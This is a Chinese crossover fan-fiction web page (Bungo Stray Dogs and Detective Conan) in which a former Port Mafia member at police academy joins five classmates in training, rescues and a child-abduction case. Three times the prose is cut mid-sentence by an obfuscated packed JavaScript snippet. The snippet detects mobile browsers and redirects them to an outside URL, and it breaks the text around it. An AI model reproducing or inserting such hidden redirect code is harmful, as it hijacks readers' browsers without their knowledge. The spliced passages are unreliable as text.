那里就像“三十三天”慈悲分出的一隅,让他能有个容身之地。 也只有那处的古钟声能够让他短暂逃出那场爆炸的余威。 身边很多人都在试图帮他。 ——“怎么使用异能是你的自由,但是琉生酱,你多久没出门走走了?” 几乎照看他到大的大姐目光担忧。 ——“再这么下去你将失去时间的准确感知,你在异能空间里呆再久,现实也不过眨眼一瞬,久而久之你会迷失在神秘的时间当中。” 被太宰先生赶下台后又被返聘回港口Mafia当首领的森先生神色毫无波澜。 ——“为什么要把价值寄托在一个人身上?北川君,你一直在拯救很多的人,哪怕没有使用异能。” 被太宰先生偷偷带过来、已经叛逃港口Mafia的织田作之助先生语气满是劝慰…… 熟悉的身影和难以消抹的火光填满北川琉生脑海的每一个角落,一点点让【忉利天】的空气变得稀薄。 他只能伸手紧紧攥住胸口的衣襟,像脱水的鱼大口喘息,汲取四周的氧气。 直到耳边钟声由远及近,伴随着引得灵魂颤动的共鸣,又一次带给这尾苦苦挣扎的鱼一捧清水。 又一次让他沉迷其中。 四周金幕光芒渐盛,似乎拥有源源不绝的生命力。北川琉生靠坐着,木讷得像是一尊精致的木偶,只余眼睫轻轻扇动。 终于,他低头注视着自己掌心,忍不住喃喃自语:“……如果你可以救下他……救救自己。” 【如果……能给我救下他们的机会。】 耳边响起第二个声音,夹在悠长钟声里,仿佛在向“三十三天”祈愿。 北川琉生怔怔抬起头,朝声音传来的方向去看。 恍惚间他看见有粉红的花瓣穿过光幕飘入。 闯进这片除自己以外,不再有第二道生命的领域。 而在他看不见的另一个世界,同样死寂的墓园。 有人满身硝烟鲜血淋漓,倚靠着墓碑而坐。宛若他靠着“三十三天”。 四月的樱花随风而落,停留在那人掌心。 五片花瓣娇嫩而舒展,那么的脆弱,只需一阵风便能将它吹走。 北川琉生心神微动,任由破碎的花瓣飘下又聚拢在掌间,询问却更像自问:“……为此你愿意付出什么?” 【……时间、生命,我的一切。】 * “因为被及时救出,小姑娘受到了些惊吓以及有耳鸣症状外,身上并没有烧伤,真的非常感谢!” “我们会和各位的教官说明此事的!” 医院走廊围聚的人散了大半,只留下了诊疗室里出车祸的两家人和北川琉生他们。 听到对方没事后北川琉生顿时松了口气。 虽然自认为没有大事,但救下人后北川琉生面色惨白神情恍惚,仿佛受到了什么打击,右臂和腿部擦伤看起来骇人极了,于是被身边五个警校生如临大敌地拖上救护车。 五人乌泱泱在他身边围成一圈,让周围人对北川琉生投来好奇的目光。 “记得要按时换药,尽量不要让伤口碰水,防止感染。” 护士姐姐耐心嘱咐一番也离开,留下北川琉生和面前五人面面相觑。 北川琉生一时间不知道话题该有的走向,于是保持沉默。 率先开口打破寂静的是萩原研二:“太危险了,小琉生,你怎么可以什么保护都不做就冲过去!” 松田阵平在一边抱着胳膊点头。 两人本来就高挑,此时又都是站着,北川琉生坐在椅子上被两片阴影彻底笼罩,莫名有些压力。 敌强我弱下他尝试解释:“额……大概是因为知道自己不会受伤?” 话还没说完,一旁一言不发的诸伏景光挑眉看过来,蓝色猫眼里没什么情绪:“这叫没有受伤?” 他的目光落在北川琉生缠满绷带的右臂上,裤管下那条修长的腿当然也没有逃过。 比起能够触发【忉利天】的爆炸伤,眼下这些确实算不了什么。但北川琉生不敢说,熟练地眨着眼求饶,尽量让自己看起来无辜一点。 诸伏景光显然没想到还有这一招,愣了片刻后只能无奈撇开眼。 走廊尽头的电梯门在此时打开,降谷零和伊达航处理完医药费等后续问题,从电梯里走出来。 降谷零手上拎着一袋药品和医用绷带,低头询问:“还能自己走吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103141|163812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “当然可以!”北川琉生没事人一样“蹭”地一下站起来,觉得右腿伤口的疼痛完全可以忽略不计。 然后被几双手同时镇压。 松田阵平眉头直跳,没好气道:“动作那么大做什么?你先乖乖坐好!” “是的哦小琉生,虽然看起来没事,但医生说离爆炸这么近还是很危险的。”萩原研二紧接着:“耳鸣吗?耳鸣就对了!” “虽然小琉生的勇敢值得表扬,但直面爆炸还是令我们头疼呢……” 五人闻言齐齐点头。 天知道当时降谷零被拽回来、看见北川琉生冲上去的那一瞬间出了多少冷汗。 有些危险的举动自己尝试不觉得有什么,但亲眼看着别人不把命当一回事,降谷零心里便升起莫名的怒气和后怕。 ……如果北川琉生没有这么幸运,是不是就会在自己面前出意外?降谷零在来的路上一直沉思: 第一时间去救人的,本该是自己…… 而不是看起来比他瘦弱北川琉生。 身后,伊达航察觉出他的沉默,大手拍在降谷零的肩膀上。 脸上始终带着宽厚爽朗笑意的班长第一次看起来有些严肃,他沉声说:“如果你不变得比任何人都强,是无法践行正义的!”① “不可否认,运气和自信也是实力的一种,”话说道一半,伊达航再次笑出一排雪白的牙齿:“北川同学做到了。” 闻言降谷零转头,灰紫色眼睛看向被同期们围在中间表情纠结似乎想找机会溜走的北川琉生,又再次看向自己的双手,目光中带着比上一秒更加明晰的坚定。 “我知道了,班长。” 他扬起笑容:“北川君确实很厉害。” 另一边北川琉生似有所感望向两人,对上降谷零那双眼睛的那一刻有瞬间的愣怔。 淡棕色眼睛将眼前人整个映下,北川琉生尝试抿唇露出一个微笑。 这是他来到这里后第一个发自内心的笑容。 【忉利天】听见了你的愿望哦,降谷君…… * 等到一切结束黄昏都已经快要落幕,最后北川琉生是拄着拐杖回到的学校。 ——不坐轮椅是他最后的坚持。 “其实,我可以跳着走……”北川琉生小声提议。 一路走来但凡瞧见了他们的,都要往他这看上两眼。北川琉生两只胳膊都得拄拐,实在腾不出第三只手来捂脸了。 “达咩哦,小琉生,”萩原研二摩挲着下巴做出思考:“难道你是想要我和小阵平一边一个,架着你走回去?” 北川琉生疯狂摇头,连头发丝都在抗拒:“那样更丢人了啊!” “比起丢人,你们还是想好怎么解释吧!” 办公室门口,一早收到消息的鬼冢八藏像是一堵墙般杵在那,眉毛倒立在瞪大的眼睛上方:“出校一趟居然还给我负伤回来了!” “你们本事真是一个比一个大!” 众人瞬间噤声,走道内原本探头探脑观望的学生教官们立刻收了回去不见踪影。 处在风暴中央的北川琉生更是浑身一震,像只被捏住后颈皮毛的猫。 “你们几个,给我进来!!” 感觉耳鸣更严重了呢……北川琉生想。 5. 朋友 “对不起教官!虽然是为了救人,但我们确实不该在不确定现场情况下贸然行动!” 刚踏进办公室的门,北川琉生就先发制人。 身边五人还不明白发生了什么,齐刷刷投去诧异的目光。 正常程序难道不该是先听鬼冢教官把他们狠批一顿,再开口狡辩企图蒙混过关,最后乖乖领罚吗? 五人一时间摸不着头脑。 话还没出口就被堵了个严严实实的鬼冢八藏:“……” 北川琉生下一句声音弱下来:“这件事是我莽撞了,好在没有出现意外,我愿意为此接受惩罚。” “……”鬼冢八藏张了张嘴,想不起要说什么又只能闭上,如此反复几次,他狐疑地看着眼前神情无辜的红棕发青年,总觉得有哪里不对劲。 转头再看向其他五人,各个目瞪口呆,一副长了见识的模样。 如果不是时机不对,鬼冢八藏怀疑这五个臭小子甚至会鼓掌叫好。 “挤眉弄眼干什么呢!你们几个让人不省心的家伙!” 鬼冢教官果断选择跳过北川琉生对其他人发功:“降谷、松田你们两个下午才从办公室里出去,当时答应我什么了?!” 被吼声震得身体不自觉向后仰,降谷零下意识立正站好,一条胳膊直接搭在旁边松田阵平的肩上,回答得字正腔圆:“报告教官!我现在跟松田同学相处得很好!” 松田阵平脸部肌肉隐约在抽搐,从脸色来看似乎想把某人的胳膊拧断,开口却同样大声回答:“是的,鬼冢教官!” 两人脸上还十分对称地贴着创口贴,虽然站在一起像极了强扭的瓜,但气场确实比上午离开时要和谐多了。 一时间彻底没话可说的鬼冢八藏:“……” 还不等他想点什么治一治这群小崽子,就看见仿佛一个接着一个似的,他千挑万选的班长也站了出来: “抱歉教官!身为班长的我没有起到‘提醒同学注意安全’的作用,让三个同学在开学负伤,我也承认自己的错误。” 鬼冢八藏:“……” 原本这几个家伙是说一句能呛他十句,现在好了,连这“一句”也被噎了回来。 不过这一次显然也不是他们的问题,救人是好事,他就是想让人长长记性,别再大喇喇地往火坑里冲。 思及此他干脆眼不见心为静,闭上眼睛挥手赶人:“走走走,一群碍事的家伙!” “谢谢教官!” 五个人连忙架着北川琉生头也不回地溜了。 大门刚刚关上,六人不约而同地松了口气,互相瞧了几眼,然后同时笑出声。 “哈哈哈哈我不行了,我刚刚真的超级想把教官的表情拍下来,毕业再看一定很精彩哈哈哈哈哈。” “可以啊小琉生,看不出来你很熟练嘛!” 北川琉生笑得尽量收敛,防止牵动身上的伤口,混乱间不知道抓着谁的手艰难借力站直,试图矜持:“低调低调,经验之谈罢了。” 还别说,这种“虽然我还不太明白,但你这么生气一定是我的错”的态度用来对付中年老上司还真是屡试不爽。 搭配“嘴硬心软”性格使用效果更加! 降谷零被他拽着,无奈看了“负伤”还活蹦乱跳的青年一眼,不知道是该心惊胆战还是惊叹对方的生命力。 他伸出双手将人扶稳当。 “好了好了,都早点回去休息,明天还得上课呢,”最后还是诸伏景光叫停了这一群人,推着他们往宿舍的方向走:“现在我们可是有了三个伤员。” 萩原研二将手搭在“伤员”之一的肩上笑着调侃说:“知道啦,话说小诸伏现在真的很像景妈妈哦!” 这个点办公楼已经没有什么学生经过,只余下些教职员工来往。 大家折腾了一天确实也需要回到宿舍平复心情和好好休息。 其他人将北川琉生送到门口。 松田阵平:“记得不要让伤口碰水!” 萩原研二:“早点休息哦,小琉生。” 诸伏景光:“有什么事情可以来找我,我在144号房间。” 伊达航:“明天晨训如果参加不了就请假好了!” 众人嘱咐完,走向走廊深处自己的房间。 北川琉生并没有着急进去,而是停在门口,目光投向落后他们一步的金发青年。 降谷零递出手里的牛奶,迎着目光下意识开口解释:“我看你晚上没有吃多少,刚刚在楼下售卖机买的。” “谢谢,”北川琉生接过,装牛奶的易拉罐触感没有想象中的冰凉,大概是还沾着降谷零的体温,他突然想起什么道:“降谷君相信神明吗?” 不知道他为什么这么问,降谷零实话实说道:“不相信,比起神明我更愿意依赖自己的努力。” 或许担心这么说冒犯了北川琉生的信仰,降谷零话音一顿,难得说了句俏皮话:“不过如果神明大人能够提高日本的安全指数,那我一定会为了今天的话后悔吧!” 认真听着的北川琉生瞬间半月眼:“……还真是正直啊,未来的降谷警官。” 降谷零笑着回应:“比起今天勇敢救人的北川警官,还是差了点呢。” 走道的暖黄灯为青年的金发添上层柔光,那双饱和度不算太高的眼睛此时闪烁着让人挪不开眼的朝气。 被样的目光注视着,北川琉生缓缓睁大眼睛愣在原地:“诶?” 或许是青年愣怔的模样看起来十分有趣,加上这一张娃娃脸和红棕色卷发,降谷零不自觉想起了某种红棕色小贵宾犬。 他连忙偏过头,尽量不让自己当面笑出声。 北川琉生还被这一声“警官”叫得心情复杂,反应过来时降谷零已经对他挥了挥手,朝自己的宿舍走去。 “早些休息,做个好梦。” 已经暗下的声控灯随着他的脚步被盏盏点亮,金发青年身形是经过严格训练的挺拔,在北川琉生眼中逐渐缩小。 他低头不再去看走向远处的降谷零和已经没有了踪影的四人,握紧手中的牛奶陷入沉思。 问:已知身边的四个同期会在未来的某天遭遇不测,他该做些什么? 北川琉生推开房门走进去,把被强塞给自己的拐杖放在靠床的位置。 房间没有开灯,窗外月亮是唯一光源,北川琉生的脸在昏暗月光下显得模糊不清。 他左手指尖勾住易拉罐的拉环微微用力。 金属摩擦的声音在房间内响起,随着“噗嗤”的空气声,甜牛奶在房间里散发出诱人的温暖而醇厚的奶香。 告:他绝不会再允许朋友在自己眼前死亡。 * 第二天是大家期待已久的射击课。 “你们手中拿着的是樱花转/轮手/枪,一共有五发子弹。” 实操训练馆内,鬼冢教官背着手目光从学生身上挨个扫过:“希望各位把刚刚上课的内容都记在了心上。” 大部分学生是第一次碰到真枪,好奇地拿在手中来回摆弄欣赏。 北川琉生兴致缺缺,单手掂了掂手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103142|163812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的转轮/枪,转头报告道:“教官!这把枪有点问题。” 鬼冢八藏半信半疑走过来,接过手枪检查片刻:“……还真是,之前接触过枪?” 何止接触过……在港口Mafia里北川琉生体术和体力都不是很出挑,他也就懒得在这方面下功夫,索性把心思都放在了热武器上。 枪/械、炸/药……他一直坚信在绝对火力压制下任何体术差距都不是威胁。 “之前在意大利进修学过一点点。”北川琉生笑着回答。 鬼冢八藏只是随口一问,转头说:“我会把问题上报过去,不过现在也来不及再去申请一把,你等第二轮再练。” “没问题教官!” 北川琉生对射击训练本来就没有多大热情,甚至觉得还不如观摩其他人练习有意思。 射击靶前,降谷零戴着隔音耳机,一头金发被压得软趴趴贴在头上。 他握枪的姿势非常标准,完全没有初试者的紧张和激动,目光坚定,牢牢锁定在目标上。 “砰砰砰!” 不出意料,五发子弹全部命中目标。 察觉到有人注视自己,降谷零回头,目光还带着射击时的凌厉。 北川琉生偷看被抓了个正着却没有半点心虚,甚至像接受到指令似的啪啪鼓掌。 ……像是海洋馆里被训练过的海豹。降谷零压下脑袋里这个奇怪的比喻。 “要试试吗?”他走上前询问。 “好噢,”北川琉生和鬼冢教官打过招呼后接过枪,熟练地换上子弹。 刚刚理论课上的内容基本没在他脑海里留下印象,北川琉生凭借着肌肉记忆单手举起枪。 他的态度过于随意,反倒显得从容不迫,让人不自觉信服。 “你小子——”鬼冢八藏余光一瞥就是这一幕,还没来得及火冒三丈,子弹就已经出膛。 “砰!砰砰!” 五枚子弹连中靶心。 四周众人看过来的目光仿佛是在看什么怪物。 降谷同学能做到是因为天赋和强悍的学习能力,那北川琉生这种算什么?算他们太较真吗?? “……我是这么教你握枪的?”鬼冢教官又一次哑火,声音比刚刚低了不止一个八度。 原本帅气利落的收枪动作被这一声打断,北川琉生反应过来动作一顿,眨眨眼乖巧无比地说:“是教官教得太好,让我一下子就领悟到了精髓!” “是这样吗?”这下换成鬼冢八藏不确定了。 他扫视一圈周围姿势各有千秋、分数惨不忍睹的其他人,额头青筋跳起个“十”字:“果然还是在胡说八道吧!” 面对这两个学生,一个他不知道该怎么说,另一个除了不省心外压根就没什么该说的。 鬼冢八藏深觉再说下去自己的心情将岌岌可危,于是果断转头去训别人:“看什么看!靶子难道在我脑袋上吗?!” 在他身后,降谷零和北川琉生悄悄对视一眼,都从对方眼中看见了快压抑不住的笑意。 “很厉害哦,降谷君。” “你也是,北川同学。” 训练场另一边,几个熟悉的脑袋围在一起似乎讨论着什么,两人走进发现居然是松田阵平和诸伏景光他们。 降谷零不由好奇:“Hiro,你们在聊什么?” “是最近发生的几起女童遇害案,”诸伏景光闻声抬头对两人解释道: “班长和我发现这些女童失踪的地方都离学校不远,也不知道是不是巧合……” 6. 调查 “诶?”降谷零好奇凑上前,去看伊达航手上那张东京地图。 地图上大大小小的街道和重要建筑位置清晰,一些地点被人特意用铅笔标记出来。 他粗略扫过一眼点头说:“圆心确实在警校附近。” “什么圆心?” 此时北川琉生就像看学霸跳步骤做题的偏科生,刚列好已知条件就被告知了答案。 诸伏景光在一旁耐心解释:“是之前教官提过的‘共圆心’法则,具体来说就是利用犯罪者倾向于选择熟悉的地点实施犯罪的心理,把所有已知的犯罪地点标记出来,以最远两点连线为直径,画出可以包含所有犯罪点圆,而犯人极有可能就居住在圆心附近。”① 这次北川琉生听懂了,若有所思道:“你们是猜测凶手居住在警校周围?” 甚至还成天明目张胆地和警校生打交道? “只不过是怀疑啦,我们能想到的警视厅前辈们一定也能想到,”萩原研二的脸上扬起笑容:“我们看小诸伏好像对这个案件很感兴趣,所以一起讨论讨论。” “我只是觉得这些受害者看着有些眼熟,但一时间还没有找到关联。”诸伏景光眉心微皱,似乎努力回想着什么。 看着他又一次心不在焉,哪怕是直来直去的松田阵平都察觉到了不对劲:“你还好吗?” 诸伏景光没有过多解释,只是摆手示意自己没有问题。 北川琉生了然。相处时间不算长,但他大概也摸清了诸伏景光的性格。 和降谷零一样,诸伏景光的责任感和正义感远超北川琉生接触过的其他人,再加上他温和内敛、共情力强,这样的人往往会习惯性照顾别人感受,不愿意拿私事来麻烦身边人。 可他又明显遇到了难题。 向来推崇“能群殴绝不单挑”的北川琉生提议说:“如果在意的话,我们可以一起去学校周围调查,看看能不能发现什么。” “没错景老爷,如果要分头行动我们可有六个人,效率翻倍!”松田阵平第一个站出来支持。 之前他几次想询问诸伏景光的情况都被那个金发混蛋拦了下来,说要让对方主动袒露才好,可踌躇不前的作风和他一点也不搭! 踩油门才是他的做派! 一旁萩原研二收到信号也跟着赞同点头。 “如果再闹出什么事来我们会被鬼冢教官赶出去的吧?” 伊达航摩挲着下巴思考几秒,下一刻右手握拳砸在左手掌心:“不过……请一定记得要带上我啊!” 这件事被三言两语地定下,诸伏景光还没有反应过来,眼前这群人就已经摩拳擦掌准备好了要大干一场。 “不是,你们……”他把求助的目光投向其中最靠谱的降谷零:“Zero?” 没想到他最靠谱的幼驯染略显心虚地用指节蹭了蹭鼻尖,直接躲开自己的视线,转头兴冲冲加入其他人的讨论。 “……还真是活力满满啊。”见状诸伏景光只能无奈地把剩下的话说完。 或许在他们的帮助下,事情真的会变得不一样呢?他瞧着围在身边的几人,第一次感觉身上压的担子轻了几分。 * 跟执行力强的人一起行动的好处是决定好的事情永远不会被拖延,但跟一群执行力强还充满激情的人行动,那事情进程大概率十头牛也拉不回来。 当天下午六人就决定行动,一起跑出了学校。 为了不打草惊蛇,萩原研二和松田阵平选择去女孩们失踪的地方碰运气,其他人则去看看学校附近几个被重点标记的地方。 不得不说诸伏景光确实很关注这个案件,在他们决定要去调查之后他又拿出了一份相当详尽的报告。 “到目前为止一个出现了三个受害者,年龄在六到八岁之间,统一特征有黑色长发、双眼皮、出事时扎着双麻花辫。” “其中一个女孩已经在两个星期前找回找回,凶手将她丢弃在人多的天桥下,医院检查结果只发现了贫血症状;一个女孩遇害,尸体是在郊外废弃工厂中找到的,身上没有外伤,尸检结果显示是生病未及时就医,高烧死亡。” “还有一个女孩至今下落不明。” 诸伏景光简单说明案件信息,目光在最后一个女孩的个人信息上停顿片刻才挪开。 降谷零听完后陷入思考:“这三个女孩和她们的家庭之间有人际关系上的交集吗?” “完全没有,这也是警方目前最为头疼的一点。”诸伏景光把手里资料合上。 “排除随机挑选受害者的情况下,我们是不是该从被绑架的女孩的统一特征查起?”北川琉生提议。 见他说得这么肯定,伊达航有些好奇道:“怎么确定对方不是随机挑选受害者呢?” “没有刻意对被绑架者施加伤害、没有勒索她们的家人……” 路灯下,北川琉生眸色不明,神情晦暗。他声音轻不可闻,似乎是笑了一声:“如果我这么做,那一定是为了找一个特定的人。” “……” 仿佛一阵凉风吹过,顿时让四周气温降下来。 “这个……”降谷零突然觉得今天出门穿少了衣服:“北川同学还是尽量不要共情犯罪者了。” 刚刚那个神情让他有种想要逮捕自己同学的冲动。 “只是猜测啦,”只见几个眨眼间北川琉生又变会了原先的模样,仿佛刚刚那一幕只是他们的错觉:“凶手要囚禁女孩就一定会留下对方的生活痕迹,我们现在就去附近人流量较大的店面看看有没有线索?” 说着他转过头,发现诸伏景光又一次出神想着什么,不由询问:“诸伏君?” 被这一声叫回神,诸伏景光忙道:“抱歉,我只是好像想起了什么。” 资料里三个女孩的照片已经深深映在他脑海,交错在一起,似乎要融为一道身影,却总是隔着一层薄雾。 ……到底像谁?这件事和他有什么关系? 和他父母的死又有什么关系? 头部传来痛楚,诸伏景光却怎么也想不起来。 其他人都默契地不再询问,怕给他不必要的压力。 最后是伊达航大手一挥做出安排:“我们分头去找线索好了!我去附近的便利店;降谷和北川去餐馆、诊所;诸伏对东京比较熟悉,可以负责地图上没有标记的地方,还有其他问题吗?” 三人同时开口:“没有。” 他满意地双手一合:“那就这么决定了,两个小时后到原地集合!” 兵分三路效率确实要高上不少,北川琉生从一家餐馆里走出来,状似不经意地问身边的人:“其实诸伏同学心不在焉是因为他父母的案件,对吧?” 降谷零低头用笔划去笔记本上记录的其中一个地址,闻言看向他道:“你怎么知道的?” 北川琉生没有隐瞒:“之前他把一张十五年前的报纸落在了更衣室,上面记载了一起长野的谋杀案。虽然没有透露姓名,但报纸上写了被害人夫妇的小儿子当时就在现场。” 沉默片刻,降谷零算是默认了此事,他回想起刚认识诸伏景光的时候,眼底有悲伤划过:“事情发生后Hiro就来到了东京,一开始状态非常糟糕,记忆有些混乱,甚至一度患上了失语症。” “即使这样,诸伏君也依旧成长成为了一个温柔的人呢……”北川琉生感慨出声:“哪怕再仇恨对方,如果能有机会抓住这个人,他还是会选择把凶手交给法律处置吧?” 深知幼驯染的为人,降谷零点头表示赞同:“他一定会这么做。除了法律,谁也没有权力去审判他人的罪行不是吗?否则就和罪犯没有区别了。” 刚冒头的月光下金发青年神色认真坚定,说这话时看不出半分动摇。 北川琉生定定地注视对方那张因为带着混血而精致立体的脸。良久, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103143|163812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他忘记自己是第几次感慨:“你们的正义感强到总能让我震惊。” 同样不知道第几次从青年口中听见类似的话,降谷零终于忍不住疑惑道:“‘你们’?北川不觉得自己也是这样吗?” 没有正义感的人会冒着生命危险冲进即将爆炸的火场就下从未谋面的陌生人吗? “我们不一样啦。”一眼看出他在想什么,但北川琉生打心里觉得这不是一个性质的事。 他拥有异能,潜意识里知道自己不会有生命危险,所以有随心所欲冒险的底气。这和普通人为了他人敢于牺牲自己的决心完全不同。 “毕竟在进警校前,我的人生目标可是做一个‘坏人’呢。” 降谷零难以置信:“诶?真的吗?” 无论从哪个角度去看,北川琉生和“坏人”都搭不上边吧? 没有再管降谷零想了些什么,北川琉生露出个得逞的笑容提步准备前往下一家店铺。 “铃——” 降谷零包里的手机突然响起铃声。 “Hiro打来的,难到是找到了什么线索吗?”降谷零摁下接听键:“Hiro?” 电话另一边传来的却不是诸伏景光的声音。 陌生男人尖利的怒骂、小孩强忍哭声的哽咽和粗重得几乎失控的呼吸。 还有一道藏在混乱下的敲击声。 降谷零和北川琉生对视一眼,屏住呼吸。他仔细分辨着电话里传出的密码:“S、o、t、o、k、u、r、a,119。”② “外守(Sotokura)!” “应该是学校附近的那家外守洗衣店,有人受伤了,”北川琉生迅速在脑海里回忆着那张地图,用自己的手机拨打急救电话简单说明情况,又立马通知了其他人。 距离诸伏景光最近的是萩原研二他们:“我和小阵平就在附近,马上赶过去!” 洗衣店离北川琉生他们只有两条街的距离,两人顾不上找交通工具,转头就朝那个方向飞奔。 好在此时街上没有什么行人,降谷零紧紧咬着牙,脸色凝重。 他的电话一直保持着接听状态没挂断:“Hiro你只有一个人,带着受害者躲好,不要和对方硬碰硬,我们马上就到!” 他隐隐感到有些不安。从电话打来开始,除了喘息声,他就没听到过诸伏景光开口说话。 五分钟到路程,他们只花了两分钟就快赶到。 还没等降谷零将这一点不安压下去,远处猝不及防传来爆炸声! “是洗衣店的方向!”降谷零猛然抬头不敢多想,只能寄希望于爆炸没有波及到诸伏景光他们。 不等他说什么,松田阵平的声音从手机和远处同时传来:“炸弹不是已经拆完了吗?怎么还有?!” 火光和烟尘中,松田阵平钳制着一个双手被绑缚的男人,萩原研二怀里抱着满身鲜血的女孩。 两人从发生爆炸的楼里跑出。 诸伏景光走在最后,双目通红得似乎要滴血。 他看起来比上次救人的北川琉生还要狼狈,身上有被利器划出的血痕,外套被撕开,一部分缠在了被救的女孩身上。 “Hiro!” 诸伏景光注意到众人担忧的目光,张开口,却有发出任何声音,有鲜血沿着指尖滴落。 北川琉生察觉到什么,分出一丝注意力给那个被绑着、神情癫狂的陌生男人。 他对着诸伏景光声嘶力竭:“是你带走了她!把我的有里还给我!!” 对耳边的话置若罔闻,诸伏景光双手缓缓握紧,声音嘶哑地喃喃:“……真的是我,害了这些孩子。” “……” 四周陷入沉默,只有火苗燃烧的爆鸣声在身后发出声响,所有人都对青年投去不解的目光。 最后是降谷零开口打破沉默:“先去医院检查一下,剩下的可以慢慢说。” 7. 乌龙 “……外守一,那个洗衣店老板,他就是当年杀害我父母的凶手。” 诸伏景光将脸埋入掌心,深呼吸时鼻腔里全是血腥和医院消毒水的味道。 这是一段连降谷零都不知道的往事。 在诸伏景光小时候有一个玩伴,叫外守有里,那是一个喜欢绑麻花辫、总是跟在他身后的小女孩。 外守有里在十五年前因病去世,诸伏景光的父亲当时是外守有里的老师,负责将她送去医院。 所有人都悲痛于一条生命的流逝,却又在与死神抗争中无可奈何。 只不过所有人都没想到,外守一不肯接受自己女儿的死亡,甚至固执地认为诸伏景光的父母绑架了外守有里。 “我躲在柜子里,只能听见爸爸妈妈在屋外求助和呻吟,我明明看见了他的纹身……我怎么能把这件事忘记了。” 没有声嘶力竭、悔恨痛哭,他用着最为不解的语气,哑声质问自己。 为什么会忘记这么重要的事情? “他到现在仍然觉得女儿被我藏了起来,从长野跟到东京……”诸伏景光抬起脸凝视着自己的双手:“那三个孩子,都只不过是和我又一面之缘而已。” 或许是在公园多看了一眼,又或许只是在便利店擦肩而过……这不应该成为她们遭遇不幸的理由。 又一次坐在医院的长椅上,这一次是五人陪着诸伏景光。 来往的警察和医生在完成工作后都选择不再打扰这个青年,陪在他身边的人也默契地不再出声。 这么久以来,支撑青年走过来的一直是他强大的内核力量。 比起苍白无力的安慰,他或许更需要无声的支持。 诸伏景光的视线则久久停留在不远处受害者一家身上。 刚刚他面对警方和家属的道谢时不自在地将头偏开。 如果没有他,或许这一切根本就不会发生…… “这件事怎么想也不是诸伏君你的错吧,错的难道不该是凶手吗?” 这一声让诸伏景光的目光再一次聚焦。 比起安慰,北川琉生是真切地感到不解。 成长环境决定了他并不能理解这份负罪感,但既然诸伏景光将一切交给法律来审判:“手铐最终铐在了有罪者手上,而且是你抓住了他。” “为你的父母,也为被绑架的女孩。” 平和而坦然的语气里没有任何安抚的成分,北川琉生像在阐述事实一般说出这些话,却仿佛有一种魔力让诸伏景光僵住的肩膀不自觉放松。 他救下了那个孩子,有能力在犯罪下保护其他人。 不再只是面对刀刃无法反抗的幼童。 以后的他还会救下更多的人。 从糟糕的情绪中脱离,诸伏景光仰起头,蓝色双眼中再次凝聚起众人熟悉的温和,声音依旧温如暖玉:“谢谢你们,以及,琉生同学真的很会安慰人。” “……有吗?” 这一回换北川琉生感到不自在了,他挪开目光。 明明这也不是安慰…… * “这不是你们违反校纪的理由!!” 新的一天随鬼冢教官的一声怒吼款款而来。 北川琉生被这一声吼得一激灵,一点点向后挪动,直到完全把自己藏在第一排的降谷零身后,才伸出手揉了揉耳朵。 因为冒险拆除炸弹已经被训过一轮的松田和萩原研二两人此时正抱着头,一左一右乖乖蹲好。 降谷零、诸伏景光和伊达班长则站得笔直,直面鬼冢八藏的冲击。 “算算这才开学几天,六个人就已经负伤了四个!你们是比别人多条命折腾吗!”鬼冢八藏气不打一处来,余光瞥见一头藏在降谷零背后摇曳的红棕发:“北川琉生,别躲了!炸弹都震不聋你,还怕我这点声音吗?” “……”小动作被发现,北川琉生只好走出来。 他眼睛一耷拉,抿着唇目光从下而上地看着教官,打算故技重施。 没想到这次鬼冢八藏不吃这一套,提前打断施法:“知道错了就乖乖受罚!北川琉生,这周开始每天的重装备训练你比别人多跑两公里!” 双眼瞬间睁得溜圆,北川琉生难以置信:“教、教官……这也太残忍了!” 鬼冢八藏冷哼一声充耳不闻:“降谷、诸伏,你们两个从今天开始在宿舍楼里查寝,巡查一周;班长、萩原、松田,你们三个去给我整理资料室!” 话音落,六人齐齐哀嚎。 “鬼冢教官,就不能换一个惩罚吗?整理档案太无聊了!” “报告教官!我愿意去跑步!” “反对无效!报告驳回!”成功拿捏住众人死穴,鬼冢八藏转身露出阴森森的笑容,头也不回地离开:“一群臭小子,还真当我治不了你们吗!” 别人他不清楚,但鬼冢八藏确实拿捏住了北川琉生的死穴。 或者说,整个鬼冢班没有人不知道北川琉生对重装备训练的深恶痛绝。 只要一到训练地点集合,你就能看见一个青年从开始穿装备时就骂骂咧咧,一直到训练结束,全然没有平常的乖巧形象。 “讨厌重装备!汗水、灰尘让人浑身难受!” “穿这么重的东西真的不会把我们通通压矮吗?” “这衣服、硌得我脖子疼!” “你们不觉得、我们这样很像一群、迁徙的野马吗?!” 